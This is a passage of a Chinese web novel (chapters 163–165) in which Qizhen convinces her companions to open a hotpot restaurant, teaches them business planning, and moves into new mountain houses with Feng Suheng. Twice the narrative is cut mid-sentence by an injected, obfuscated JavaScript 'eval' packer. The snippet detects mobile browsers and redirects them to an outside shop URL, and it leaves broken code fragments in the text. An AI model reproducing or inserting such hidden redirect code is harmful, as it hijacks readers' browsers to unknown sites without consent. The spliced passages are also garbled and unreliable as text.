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“再次,很重要的一点。火锅就是你往里涮点菜,他往里捡筷子,谁都能拨盘肉进去分着吃,不比吃酒席放松欢快得多?火锅更能拉进人与人的距离。不是说不能在家吃,可既然这吃法更热络人,自然首选堂吃。” 栖真说得停不下来,一低头面前盘中又堆成小山,一看就是身边人的手笔。她笑着吃了一口,继续道: “以上是对食客而言。对店家来说,火锅店和传统馆子最大的差别是无、需、大、厨!一家饭馆的大厨是老板自己,意味生意做不大;若雇人,掌勺的便是人工里最贵的,难伺候,东家得捧着。火锅店就没这问题。只要备食材,事先制作,照定好的标准来,做事的是张三还是李四差别不大。人家得找好厨子才能拓店,你雇到人便能开,哪个占优?” “最最重要的是,火锅于中土还是新鲜事物。创业要创新,创新固然需要试错,成功却是一鸣惊人。火锅大家喜不喜欢,看看今日在场众人的反馈便知。” 英迈道:“你这首先、其次、再次的,莫非你想开火锅店?” 栖真笑道:“我想说服你们和我一起开。” 这话一出,一桌人都停了筷。英迈不敢置信:“你要我们跟你一起开店?” “我大概知道你们顾虑。”栖真道:“阿絮和阿月如今能靠刺绣赚银子,也算衣食无忧,有必要去开店吗?况且开店意味着要下山,要抛头露面,于大家总是冒险。” 栖真环视一圈,道:“阿絮和阿月确实可以靠刺绣赚钱,但这生意,赚再多都是辛苦钱。但凡她们身体抱恙,这赚钱法子就断了。” “最好的赚钱模式永远是你睡着的时候钱都进兜里。开店确实需要投精力,一开始投的精力甚至比刺绣不知多多少。可我们不是要自己坐堂,而是把开店经验形成行之有效的规章,找人当店长,以合股方式让人负责单店生意。我们要把这套模式复制到一家又一家店去,拿分红就行。想下五年后,你们更愿靠絮回每日熬夜刺绣讨生活,还是愿意在中土开出五十家店面,靠源源不断的分红过活?” 她这么一说,桌上惊诧的表情淡下去,更多在思考,尤其是柳絮回。 “至于安全问题,上面已经答了。店长找人当,伙计当地雇,我们是需要下山,找店面、雇人、找食材提供者,也就是‘供应商’。但大家可以乔装,或让阿畅找人随身保护。若实在不想下,也可以培养人,让别人跑腿。规避危险的方法有一百种,但重要的是,现下我们得想明白自己要做什么选择。” 栖真最后道:“家父曾说,若火锅店得以开遍中土,该当何等乐趣!我素日记着此话,可怜他已看不到这番景象。如今我有了你们,想着有无可能合作一把。即了我心愿,大伙儿也能开创一番事业,何乐不为呢?” 这日夜间,絮回刺绣时对栖真道:“你好厉害,说的话总那么让人心动,可刺绣我懂,开店我真不懂。” 天气渐热,山上蚊虫多了,栖真在线盘里点了驱虫香,回桌前画教案的思维导图,道:“家父兴趣广博,于此有些研究。你感兴趣,我可以给你讲讲。” “阿絮,不懂的可以学,大伙儿还年轻,怕什么?”灯火下,栖真目光灼灼:“过去天生锦衣玉食,未来凭几飞黄腾达。命运已然不公,我们还不与天挣命?” 背后,工地上立梁柱的号子声此起彼伏,絮回充耳不闻,全然被栖真的话击地心潮起伏,连手中绣活都忘了。 若说午膳时栖真一番话只是惹人心动,此刻她竟觉纵使前途坎坷,也要杀出一条血路。 他们天生贵胄,凭什么被打成过街老鼠,过着屎坑里的生活?今日有此契机必要抓住,还众人一个锦衣玉食的未来。 “好,跟你闯!”絮回道:“还请栖真教我。” 163. 第 163 章 隔日,栖真开始教创业。 晚膳后教学区格子灯纷纷亮起,黑板前讲师滔滔不绝,左侧方桌容绽照旧记录不缀,剩下人分坐两张大桌,听得热血沸腾、如痴如醉。 风宿恒私下里问聂灵鸢,明面上你还是祁南英的人,天天和许子鉴混在大容这班人里听课,不怕祁南英看不过眼。 “放心!”聂灵鸢道:“他自己都想听,怕人说躲懒才不好意思来,让我听了回去跟他讲呢。” 栖真知道这事后跟人商量一圈,决定做个调整,利用晚膳原有的一个时辰加二刻,硬生生凑出一个半小时,想听的捧碗来一面吃一面听。 有祁哥带头,工匠呼啦啦全来了,戏称这是“吃饭课”。 这捧碗听课的场景在风宿恒身上几十年没有过了,每每混在人群里看黑板前认真讲授的人,心中满是自豪。 创业主要靠实践,但不妨碍开始前普及些知识点。 栖真计划弄个创业五讲: 1.团队:讲人员组建、分工和培训。 2.定位:教什么是定位,店铺选址、装修、VI、定价都要跟随定位来。 3.货品:选择进货渠道,把控质量,食材创新,以及后厨管理。 4.服务:不求把它做成中土海底捞,但服务永远是加分项。 5.市场:信息传达,如何口碑发酵,甚至教一教作秀的概念。 谁知一开讲,絮回他们提问踊跃。栖真只好越讲越多,越讲越深。 关于怎么开这家店,她心里有谱,但还是让絮回的创业小分队回去想,一点点把计划完善出来。 而那些不适合大庭广众说的,还要抽时间私下教柳絮回。 比如一旦开始创业,做老板的就得把精力放在找人上。人才不到位,做事很拉跨。 再如商定分红模式:店长三、店员零五、絮回五五,她一,并讲清其中道理。絮回刺绣赚房钱已然不易,现下开店资费全由栖真垫,赚了再按比例摊。 至于街坊关系、衙门这边栖真让柳絮回不用担心,生意场上难免纠纷,万一打官司,全数由阿畅出马搞定。 最后是发展蓝图。 絮回说自己没想那么远,先开一家试试水。栖真却一定要她想长远,赚钱后是守成还是立马开分店。 絮回对栖真倾慕无比,但也忍不住问:“你天生那么自信吗?就一点不担心这生意会赔?” 栖真难得抽出点时间跟风宿恒亲热时提到这茬:“我当然得给她百分百的肯定,可我自己知道,这点唬人的底气真真切切是你给的。” 风宿恒对栖真这时候还在分心讲创业表示强烈不满,尝着她渡来的山泉花甘味,把人吻晕后才想起回应:“我给的?” “又亲脖子?”栖真摸他碰过的地方:“留印怎么办?” “山上蚊虫多。”风宿恒撩起她背后的长发,大掌抵住背,把人压在树干上,于细嫩的后颈猛啜。 “疼疼疼,要压扁了!” 风宿恒这才放手,暗夜里的眸子意犹未尽,像欲扑猎物的猛禽。 “哪里扁?”他上手摸。 栖真拍开胸口贼手,以其人之道还治其人之身,返身跳到风宿恒背上,在他汗涔涔的后颈也啜了口。 “报复心忒强!”风宿恒拽人下来,指自己胸口:“适才这儿也碰了,摸回来?” 谁知栖真将手按在他心上:“这颗心,都化作麒麟穴给我了吧?” 风宿恒双目圆睁。 她知道了? 见风宿恒惊愕表情,原来他竟不知道她知道?星流对她那么仗义吗?栖真大笑:“你不是问底气哪来的?麒麟穴给的啊!” “好傻呀。”她抱紧风宿恒,感佩他大费周章为她的一份心,戏谑道:“阿畅现下可是穷的裤衩都要当了?” 风宿恒点她鼻子:“穷的只能为你鞍前马后,赚点心意。” 栖真与他耳鬓厮磨:“早就是你的了。” 风宿恒把她拉出来只因看不过眼:“上午语文数学,中午指点那些小伙,下午科学,晚上又要讲一个多时辰。好不容易能坐下歇歇,还总有人围着你问这问那。你自己数数,这几日就睡几个时辰?嗓子哑成这样,山泉花茶再喝都没用!” “原来嫌我嗓子哑,说话不好听。”栖真佯装不高兴。 风宿恒不着她道,出树林前强硬道:“快让你那志同道合的伙伴想想办法,帮你分担点。” 栖真早就想去找容绽商量,原因倒不是为了让他分担。 她是想着容绽才情远在她之上,每日埋首记录大材小用了。若能引得他也出来讲学,她不仅能偷偷学到,于他,也是充实生活、开阔心路的好事。 这便和容绽提了一句,本以为要花工夫说服,谁知他一口答应:“弟子规教案你已全数写与我,语文我来吧。午时指点也给我。课上记录让阑珊写。” “还好有你,谢谢谢谢。”栖真差点热泪盈眶,直想握手说句“好同志”。 容绽像有点吃不消她的热情,装作低头书写,道:“……多睡会儿也是好的。还有董未开的山泉花茶,记得每日煎来吃。” 容绽讲课的风格有点冷,但就是这份冷,反而让孩子们不敢造次,只能乖乖坐着听,没想到听上几句也就沉下心。容绽广征博引,用语地道,至始至终非常冷静,可说到最后居然生生让栾音感动到落泪。 栖真听他上完一节,佩服到五体投地,更觉自己对中土知识储备多么不足。明明两人讲的同一份教案,怎么他就能教出这种她全然不具备的大家风范? “厉害厉害厉害!”栖真对他穷夸:“我都成了你的粉丝。” “粉丝?” “就是拥趸,特别喜欢听你课的人。”栖真还沉浸在听课后的兴奋中。 容绽抿了抿唇,轻声道:“我也是。” “阿绽就是可以和人坐而论道的大宗师,我得、得…。”栖真脑子飞转:“给你搭个台子。” 容绽以为她在开玩笑,谁知两日里,她还真找祁南英他们搭了个台。 半米高的木台子,下面镂空放置大水盆,再置以顶棚。黑板和桌椅搬台上,容绽上去讲学,栖真才觉得对了那个味儿。 台下水盆自带扩音效果,台上顶棚又能遮阳,容绽往台上一坐,风范啊!气度啊! 风宿恒看着台子摸下巴点评道:“不错,有办法早点施出来呢,还费那么久的嗓子?” 东西两片房子已然封顶,原计划七月低才能完工,现下不过六月中,算算再有大半个月差不多了。这日下了工,祁南英来找容绽和柳絮回行大礼。 “祁大哥这是做什么?”柳絮回赶忙相扶。 祁南英不肯起,跪在容绽身前殷切道:“这次机缘巧合找到大神官和神官长,还得机会为贵人们营造,就像回到过去。如今眼看竣工在即,南英思来想去,想忝颜来求。” 他大声道:“殿下可否允我等大容子民也在山头常住?我们、我们就想伴着两位殿下和九部相们,鞍前马后以供驱策!” 容绽静了片刻,道:“前朝……早亡了。” “不不,我并非怂恿殿下造……啊,我是说……回宫。”祁南英抓耳挠腮:“两位殿下在此长住,总要有人服侍。菜田要人开垦,馆子要人内饰,生意要人打点,粮食要人采买,即使这山上挑水烧饭打理,不桩桩要人?这些粗活哪能让贵人们亲自操持,我手下十五户,有精壮汉子,有烧饭婆子,还有聂灵这样足以执掌中馈的能人,什么事做不得?只愿在殿下跟前讨个差事,予我们机会侍奉。若殿下允诺,我们自在山头安置茅舍,绝不让贵人们操心。” 柳絮回见容绽一时不语,便道:“祁大哥一片忠心,我等感激不尽。这万仞山本是荒山,没道理我们住得祁大哥住不得。不过这帮工一事,还容我们和大神官商量,缓几日予您回复,不知可行?” 祁南英连声应诺:“不急不急,贵人们决定了知会一声便可。” 说是要向容伯舒请示,祁南英走后,柳絮回和容绽却找来慕容、山遥、英迈,以及栖真和阿畅商量。 慕容没什么意见,山遥不同意,英迈听有人伺候自然高兴,柳絮回见栖真和阿畅一时不表态,心知这事主要还得他们这边拿主意,便先说了自己的意思:“照我们之前商量,山上需要开垦,闲时供店,战时自救。若没有山下事,我们几号人打理菜田也轮得转。可现下我、阿遥、英迈下山支应生意,董未回山时间又少,山上可用的人力只剩阿月、典叔、阿陶和成校。阿月得把精力放在刺绣上,典叔、阿陶和成校三人要应付菜田和中馈,确实左支右拙,所以祁大哥主动提出留下,于我们是雪中送炭,但是……” 柳絮回为难道:“他们一留就是十五户,我怕我们一下养不起。” 容绽问:“栖真觉得呢?” 栖真知道祁南英会提议留下,必不离聂灵鸢在里面撺掇,便道:“首先,我们得捋一捋未来这山头的组织形式。” 经过月余调教,众人听她口里蹦怪词早已见怪不怪,创业五讲开篇就学过她爹自创的名词“组织形式”,是以现下栖真一说,大伙儿就明白她的意思。 栖真问:“未来咱们是一个锅里吃饭,还是各吃各的?” 这话一出,别说柳絮回他们,连容绽都开始笑。 他居然开玩笑道:“我们自然一个锅,宫主想和我们一起,还是分家?” 他一说“宫主”,风宿恒立时瞥了他一眼,又看了看栖真。 可惜栖真没注意,对容绽笑道:“哪有宫主被人撇在一边自生自灭的道理,当然得把我们算上啊。” “可能宫宫主”这个玩笑柳絮回他们也是知道的,当下也笑:“那不得了。” 栖真道:“我们就是吃饭一起,日常开销每户自己来,每月生意上的进项,阿絮就照之前说的,扣我们三分饭钱入公账。” “知道知道。”柳絮回道:“反正你就是怎么让我们图便宜怎么来。” 栖真道:“看你说的,别说现下我们这边只有三口人,未来说不定上三十口,我还只给三分钱。” 柳絮回笑:“好好,随你。” 如今熟稔,大家说话随意得多,尤其柳絮回和栖真,简直回到之前和沈兰珍那感觉。 栖真道:“那我发表意见,留的人得趁手。” 英迈问:“怎样算趁手?” 栖真道:“第一,人品好,能吃苦;第二,能培养成自己人。” 英迈道:“祁南英要求的是他那些人都留下。” “他提我们就不能提了?”栖真道:“阿絮适才也说了,很现实的问题,全留下我们养不起;留了不合适的我们也糟心,将来才叫请神容易送神难。” 柳絮回道:“栖真说得对,和祁大哥好生讲,他会理解的。” 柳絮回还想和栖真合计合计留什么人,栖真说看人是老板的基本功,让她自己出个名单再合计。 有些事开头不过是个无伤大雅的玩笑,久而久之自带生命力,成了人人口头上的一句传。 就像这“可能宫宫主”的梗。 渐渐地,山上叫栖真栖宫主,叫容绽容宫主的人越来越多。倒也不是多认真的称呼,就是看两人每日轮流登台,谁讲都惊才绝艳,所以不知不觉间,这“宫主”称呼就成了众人的口头禅。 栖真和容绽对此并不上心,他们全幅心神都在教学上。 自从容绽出马协助,栖真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而白日里和柳絮回他们讨论时,她就让常璐坐边上,塞给她一支笔,让她自己画。 常璐拿着笔就坐定了,一个人静静地画花园、画宫殿、画男人、画女人。 有一次,她画了一个跪着的女人,然后在这个女人背上画了个方块,正好被一边的柳絮回看到。柳絮回原本只是随意看一眼,忽然指着她的画问:“常璐,你是不是想起什么来了?这个是不是沈兰珍?” 刚刚还在争论的栖真和英迈停口,也凑过来看。 柳絮回对英迈道:“有一次兰珍被常璐贴了定身符,在太子殿门口跪了三天。” 谁知常璐却笑嘻嘻指指画,指指自己,然后对栖真叫“兰珍、兰珍”。 栖真被她叫得惊悚,忙摆手:“我不是兰珍。” 可常璐不管,还是不依不饶叫兰珍。阑珊带容绽过来,催一声“上课了”,栖真起身准备上台,上后面一节数学课。 可常璐大概以为栖真不理她了,也起来跟在身后,忽然大叫一声“沈兰珍,对不起!” 她情绪激动,脚下错乱,绊在凳脚上。 这口齿清晰的一句,让栖真寒毛倒竖,正想转身说我不是,背后一股力,把她猝不及防扑倒在地。 周围人都惊了。 “栖真!” “宫主!” 絮回、英迈和就坐准备上课的孩子们都围上来扶,栖真摔下去时额头磕在凳角,有点疼,有点晕。 “流血了!” “栖真,你流血了!” “快去叫董未!” 今儿董未难得回山,闻讯赶来,连忙帮她止血上药。 虽然流了点血,毕竟不是大口子,栖真见常璐在一边吓得瑟瑟发抖,忙阻止英迈对她吼。 容绽道:“英迈,带常璐下去。栖真,你头晕不晕?阿絮,扶她回帐躺躺。课我来上。” 风宿恒下山采买家什,这事他不想借他人之手。傍晚回山,见颜心端着药侯在一边,正在讲课的栖真居然头上缠着纱布。 看一眼,他脸就黑了。 好容易挨到栖真讲完,他扔下一句“今晚不讨论,让小姐早点休息。”,转头把人拉回毡帐,拿过颜心手里的药喂完,端水洗漱,逼着人睡下。 转日拂晓,风宿恒又入大荒流修炼,憋一宿的气全数撒开,把神识提到最高,将沙漠旋风团虐了个遍,最后全数化为气流收归己手。 “有这个精力,还不如想想怎么保护她,一个人撒气顶屁用。” “闭嘴!” “上驼暮山求道就为了除掉我,结果呢?成功了吗?你搞明白点,不是我想待在你身体里,是栖真求我救你,老子才来的好吗!” “雷恒!” “风宿恒,不服憋着!我儿子叫你爹,我女人被你宠,我就这么看着你,你有胆往下做啊。” “栖真不是你女人!” “儿子总是我儿子!” “你老找我麻烦做甚?用你吹嘘的脑子想想怎么救她出去才是真!” “你带着她的头发打过地洞,探过湖底,山里每一处都翻过,结界外狂轰滥炸也没用!你啊,有这点精力不如找她好好商量。” “……不行,最近栖真慢慢放下了,我不想让她一次次失望。能做的我先来,没辙再说。” “早知道她回来受这鸟气,老子绝不把骨灰给她!” “你会的,你护不住才送她到我身边来。” “那好好护啊你,头都磕破了,你干嘛去了!” “用不着你说,收声!” 头脑里阴魂不散的魂魄,被风宿恒愤恨地按歇了。 164. 第 164 章 栖真没因这意外怪常璐,还是带她画画,有时也陪她散步。 等新房子门窗都装上时,常璐有了很大的进步,虽然还是不认人,好歹不再像疯子般痴笑。每日还挺乖,让干吗就干吗。栖真便带她上桌一起吃饭。 看着逐渐恢复的常璐,众人也是欣喜,待她的态度也越发好起来。 柳絮回的目光经常追随栖真,心想世上怎会有这么好的人?简直是上天赐给他们的救赎。 自从遇上她,生活全然不同了。过去悲愤、绝望、萎蘼不振;如今积极、知礼、心怀感恩。 她还在斟酌留下的人选,阿闯、焘兴和洪柱到先来找她。 “听祁哥手下说,完工后可以住下,我们也想问问,能不能留下。”皮肤黝黑的焘兴道。 膀大腰圆的洪柱道:“是啊,我们就光膀子一个,没家累,单凭小姐一声吩咐。” 柳絮回看看焘兴,看看洪柱,最后看向中间的阿闯。 这个每晚走前会把格子灯送到她面前,但至今一句话都没说过的小伙子。 阿闯接收到她的目光,脸微红道:“我们什么事都能做。” 这晚山头寂寂,只有絮回一个还在做功课。 整理完案头,回去继续刺绣。忽觉眼前更亮,一道身影将新的格子灯放到面前桌上,三盏灯又队列整齐。 可拿灯过来的人却没像往常那样走开。 阿闯放下灯,退开几步,单膝蹲下,开口道:“小姐,今儿白日里我们说的都是真心话。” 柳絮回停下刺绣,想起栖真教她的面试技巧,便问:“你说说,我为何要把你们留下?” 阿闯道:“小姐持家不易,一下子要留那么多人想来负担会重,所以要留能用的人。” 絮回微讶,面上却不显,只是听他说。 “第一,我们三个早前跑过江湖,在铁贩子手下讨过生活,会些拳脚功夫,小姐若下山,我们可以当随扈,必护得小姐周全。第二,这些时日来我们也学了字,会打算盘,若小姐要跑堂的或者管管账目的伙计,我们也能做得;第三,我们肯干,肯吃苦,小姐说什么我们做什么,不会的立马学。” 柳絮回:“你说话也喜欢第一、第二、第三?” 阿闯不好意思地挠头:“宫主上课总是第一,第二,第三,我……我就学宫主的。” 柳絮回:“还有第四吗?” 阿闯:“只要小姐同意,我们半年不拿工钱,管口饭吃就行。” “不拿工钱?”柳絮回问:“那你们图什么呀?” “我们喜欢山上,喜欢主家。”阿闯真挚道:“宫主分文不取教那么多,这份恩情得还。我们身无长物,就拿自己来报。若小姐交代的活我们干不好,或小姐用不趁手,半年后给您磕个头,我们自己走,绝不让您为难。” 柳絮回看他半晌,最后道:“容我想想再说。” 阿闯笑了,谢谢之后学着宫主道声晚安便要离开,却听身后叫:“阿闯。” “适才为何蹲下说话?“柳絮回问。 阿闯没想到她会问这个,眨了眨眼:“这样小姐说话舒服些。” 栖真听柳絮回复述昨晚的“面试过程”,憋不住笑:“你怎么看?” “可用。”柳絮回道:“第一,你说做服务行业的人要有共情能力,这样才有亲和力。他这一蹲,就很共情;第二,等店开了,总要有人住在店中,他们没家累,心能扑在店里;最重要的还是第三点,他们叁是一早来学,且坚持至今的,尤其阿闯,每晚都在用功。你讲创业,他埋头记的比我还多。” 栖真哦一声:“瞧你上课一堆问题,还以为分不了心注意别的呢!他坐你后桌,你怎知他埋头记的比你还多?” 柳絮回被噎,就想捶她:“好你个人,就会打趣我。” “哎哎,女侠手下留情。”栖真笑着讨饶:“头疼,头疼!” “伤口都看不见了,装!”柳絮回这次真捶她。 离大荒流最近的是朝阳城,但柳絮回最后还是决定把首店开在郢业。 在栖真带创业小分队进行一次又一次探讨和深入分析后、在她们的财务测算作废一叠纸后,絮回一日比一日有了胸有成竹的感觉。 找大城,开大店,要做就做一炮而红的事! 郢业是大城,找客流最大的街,最好的门面。 这种地段房租极高,若找的只有一楼的房,稳赔不赚。若能找到三层楼面,做到一定的翻台率,就稳赚不赔。 本着这样的方向,找门面的活就交给了阿畅和董未。 董未和阿畅去找了三天,就兴冲冲回来说找到了。 街市口,迎客面,正好有一户珠宝店面要招租。赶巧,人家刚挂牌,就被他们捡了漏。租金不便宜,董未还在犹豫,说是不是回来问问阿絮,谁知阿畅说过了这村没那店了,当场拍板,爽快付了一年的租金。 阿畅回山后就说了一句,阿絮去看,不满意我这一年租金不要了。 柳絮回原本还在担心找不到合适的店面,没想到这么顺利。这便扮了男装,和乔装后的英迈山遥,跟阿畅和董未去看了一次,回来后赞不绝口。 这便找来祁南英,重提留人之事。祁南英似乎没想到他们只肯留几户,面色有些发沉,柳絮回道:“山下店铺找好了,还要劳烦祁大哥带人接手下面工装,也是一桩大活儿啊。” 祁南英想无论怎样,聂灵出的主意还是灵的,果然只要巴着这群贵人就不愁没活干,至于那些山上不留的人家,哪里来回哪里去,以后带着他们做活就行,便欣然同意。 租金既付,接下去便是和时间赛跑。 第二日小分队就分头行动,阿畅和絮回带祁南英和部分工匠入店,商量开工的事,其中包括阿闯。 焘兴跟随英迈,拿着早就定好的菜品清单,去找城里的菜农屠夫,从菜品、价格、供货时间、老板人品各方考量,挑选出栖真强调的“供应商”。 还有一拨,则是山遥带着洪柱,去找工匠铺和瓷器铺,给样稿打锅子、做碟子。 纵使之前规划完备,一月里仍把小分队忙得脱了层皮,不得不把成校、阿陶和许子鉴也调下山。 成校和阿陶可以搭把手,许子鉴则是栖真推荐给絮回,开张后能当“台面上的东家”的人选。 柳絮回越用许子鉴,越觉这书生理事极清晰,一本账做得漂亮之极,竟是之前未发觉的大能。更难能可贵的是他自带优容,待人谦和,帮忙查缺补漏,阻了不少不设防出去的银子。柳絮回忍不住问祁南英,这对夫妻他哪儿找来的,怎么这么厉害。 祁南英特别骄傲,说,我邻里。 柳絮回笑:不错,以后留山上,还是邻里。 ………… 一个月后,郢业出了件大事。 一朝间引得人人见面都要提上一嘴。 便是那城中开出的一家叫“鸳鸯蝴蝶梦”的火锅店。 这店处处透着郢业百姓没见过的新奇。 《梁祝》在城中茶馆风靡一段时间了,如今那些听完故事的人哭完,发现隔壁街就有这鸳鸯蝴蝶梦的饭馆。 进去,锅是鸳鸯锅,碟是蝴蝶状。 一楼挂着梁山伯与祝英台的萌版画像,二楼则是正版,三楼包房,一间包房一个主题,如共读、相送、楼台会、蝴蝶等。不见丝毫悲情,只有诗情画意。 这店没有点菜,只有自取。 每一层楼面都有个自选区,一份份菜品都用碟子装,要什么拿什么,拿完三层小车装好帮你送到台面旁。 而那种自己涮的锅,实在太好吃,太好玩了。 吃完一顿火锅,刚为梁祝的凄婉付出去的眼泪,都能在这里得到大大治愈。 而对于不知《梁祝》的人,一开始纯粹冲着火锅来尝鲜,可吃完火锅看过画,满脑子梁山伯祝英台,要么买本店里的《梁祝》回去看,要么赶着去茶馆听个书。 柳絮回得空回山,居然跟栖真抱怨,你教的宣传八式我们一招没用上。不用门槛都快被踏破了,用了只怕队伍堵到城门口。 “那是现在,大开大合的阶段,等市面上竞争对手出来就得用。”栖真笑,再次提点她:“如今店里都是新人,这样的好生意就是大考。招徕容易留客难,生命力长久的生意都得靠回头客,我们得在菜品质量、流程的精细化和人员培训上多上心。” 柳絮回道:“许大哥厉害,有达官贵人来包房都是他出面相迎,极能镇场。下面的员工也卖力,有阿闯带着做领班,都脑子活,很勤恳。” 栖真道:“你和英迈、阿遥混在里面当小二是很有必要的,做做一线,积累经验,才知何处改进。不过店里鱼龙混杂,记得护好自己,也别太累着。” “你看我这男装,再看英迈和阿遥那胡子,谁认得出我们来?”柳絮回穷笑:“何况祁南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430503|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英的小院能住,我们落个脚没问题。” 栖真看着她笑,忽然也微笑道:“絮回,开心吗?” 她一直叫她“阿絮”,此刻,她坐在桌边却真心实意叫了一声“絮回”。 柳絮回抱住她,紧紧抱了一下:“栖真,谢谢你。” 她回首看山上落成的房子:“几个月前我还在想,等房子造好,住进去的那一天该多美,那一定是我最最开心的时刻!现在才过了多久啊,房子造好了,我却没有太大感觉了,只要一想到山下那摊事,想到将来我们会怎样,我就兴奋,就觉得那才是真正的奔头!” 她咬了咬唇:“栖真,你说我是不是太贪心?” “不是贪心。”栖真拍拍她手背:“是成长。” 柳絮回噗嗤笑道:“这就是你一直在说的成长吗?” 栖真道:“阿絮,磨练好自己,未来你会有更广阔的路。” 柳絮回的创业小分队顾不上住新房,栖真却是万分期待的,怎奈风宿恒非要她再住几日毡帐,自己则带着颜心整日在新房进进出出。 山上还在动工,祁南英还在带人忙活。而阿月、阑珊、典叔,以及回山的阿陶则忙着在山道来来回回,收买回的家什,布置自己的房。 一时各忙各的,就栖真和容绽空了下来。 每日语数科三门上完,两人居然有些同病相怜的闲,只好坐在一处聊天。 “来,阿绽,你画画也挺好的吧?”栖真拍拍桌:“我跟你说现在山头的样貌,你画一个呗。” “画不了。” “别呀,画吧。”栖真道:“没人笑话你。” 容绽只好提笔。 “现在呢,你把这张纸想象成整个山头,上北下南左西右东。我们从右往左画。”栖真看着山头,伸手比划:“拿手丈量一下,从上往下六寸,从右至左十寸,画一个田字格。大小嘛,就你拳头这般大。” “这就是你们的四间大屋。你和你师父、阑珊住一间,应该是在,嗯,田字格的左下框。其他三间,就别的人分住。” 栖真说到这里,还不忘贼兮兮加一句:“阿絮就住田字格的左上框哦,和阿月、常璐、钟情一起。” “田字格下面三寸,是祁大哥现下带人造的他们的住处。我数数……嗯,一共五户……祁哥、聂灵、白丁、阿岳、还有小花子和小木匠一家。这次留下来的也就这五家。白三、莫生和赵四都是能干活的老实人,男人种田打水,嫂子们烧饭打理都可以,几个小的还能跟我们学。” “五户再往下,地方就大了,以后会种上一片果林……具体种什么再商量。” “回上面,往右看。田字格往右五寸,是新造的一排茅厕和浴间,往下……嗯……十寸吧,就是灶房。灶房的南门有路铺到咱们大屋,聚义堂。这屋可大了,以后咱们吃饭聊天还有上课都能在里头,现下还没造好呢。” “再往右,田字格过去大概……大概二十五寸,就是我住的院落。” 容绽用手量出尺寸:“你们住那么远?” “嗯……其实不远,还好,还好。”栖真讪笑:“我那院落造了六间屋,有个围墙,院子很大,以后我得在院里种两棵树,种满花,还想开个小鱼塘。” 容绽道:“六间屋?” 栖真道:“阿畅、颜心和我各住一间,还有一间书房,一间净房,一间客房,以备将来。” 容绽笑着点头,又问:“栖真想种什么花?” “还没想好,但玉茗一定得有。” “原来你喜欢玉茗。” “是啊。”栖真笑,又继续道:“我们屋往下十寸左右,是鸡笼、粮仓、工具房,再往下是菜田。这一片祁大哥让人开始翻土了,看看种些什么菜,既要店里能用上,又要一年四季不让地闲着,这我就不懂了,得请教白三、莫生和赵四。他们以前种过地。” “好了,这就是山上现状。怎样,阿绽期不期待住进去?” 容绽道:“我没画错的话,感觉山头还有很大空。” 栖真看了看他的画:“画的很精确。确实,就造了这些房,才占山头几分之几啊。阿闯、焘兴和洪柱也说要住下,可能一时半会儿得搭毡帐,如今山头再搭三四百个这样的毡帐都绰绰有余。阿绽,说不准两三年后,咱们这山头还真能房屋林立住满人呢?” 容绽道:“人哪儿来?” 栖真看天:“谁知道呢。” 165. 第 165 章 风宿恒终于肯带她去看新房的时候,栖真还在开玩笑:“不绑下我的眼睛给个惊喜?” 风宿恒推开柴扉,笑地很有深意:“闭眼任把弄,开门见真章。” 栖真…… 他们的院落一如规划,坐落在草甸峰的西北角。外墙黄砖黑瓦,漆都没上一层,虽不至于落拓,看上去却足够平民,和草甸峰的环境,和其他屋舍保持着风格上的高度统一。好在外墙够高,至少路人不跳一跳不见其里。而院墙的柴扉上挂着一枚新匾,上书“花千树”。 “花千树?”栖真想了想:“有点耳熟。” “你送我的词。”风宿恒提醒道:“咱们住的地方要种满花,种满树,年年岁岁绿树成荫、花团锦簇。” 偌大的院子还空着,在等女主人种花种树。而院中崭新铺排的石子路一分为三,通往左右两排厢房和中间的正堂。 风宿恒指:“右边这间是我的。” 栖真便随他去看,见门楣上也有题字。 “千百度。”她读出来,赞道:“太会起了。” 风宿恒这间,室内是青白相间的墙面,只有样式普通的床柜桌椅,茶盏软垫等带有生活情趣的小件一概没有。东窗下书桌上摊着文房四宝,是唯一有点生活痕迹的地方。 栖真抚着素净的桌面,有点看不过眼:“好歹是大容王,居家如此从简?” 风宿恒却道:“我在此无非两种,处理公务,或……被真真赶出来。” “别冤我!”栖真虎道:“我有那么凶?” “可说不准。”风宿恒窃笑。 这房间一眼看完,两人便往正堂去。正中是最大的两间,风宿恒先带她去书房。 这间题的是“香满路”。 “当年收徒于香在无心处。”风宿恒伸手在门楣上抚了抚,很有些感慨:“如今娶妻于香飘满路。” 栖真也学他伸手,没够到,跳起来才碰到个底边。 “当年师父宁愿推倒香在无心处也不肯亲我一下。”栖真噘了下嘴,随他进去道:“每每想起,我都觉得这波操作是你最666的自白。” 说起这桩,风宿恒也觉得好笑,轻咳一声:“不知是你啊。” “啊,师父第二日还在园里一本正经说……”栖真学他当时为难又诚恳的语气:“我在找一个姑娘,终其一生非寻到不可的。没寻到她前,我有的得给她留着;寻到后,我没有的,只要她想要,我也绝无一个不字。” “可数数,你都对我说过多少个‘不’字了?”栖真掰着手数:“不准、不许、不行、不能、不可以……” “不相悖!”风宿恒搂过她肩,吧嗒亲一口:“这不准、不许、不行、不能、不可以,不也出于拳拳爱卿之心?” 栖真推他:“以后我也这么对你表达爱意。” “怎知听你哭着叫不要……”风宿恒坏笑着低语:“不是我喜闻乐见?” 栖真拧他胸口,嗔道:“香在无心处那个一本正经的太子殿下哪儿去了?” “倒了!”风宿恒索性把胸膛送给她拧,光明正大道:“只剩香满路里的色胚。” 男人要豁出去狎昵,女人跺脚也无用。栖真咬唇憋笑,装作四处看,转完一圈就被风宿恒带去正堂。 栖真见正堂特殊,挂着一方可爱俏皮的鱼形木匾,上书“鱼龙舞”。 鱼龙舞? 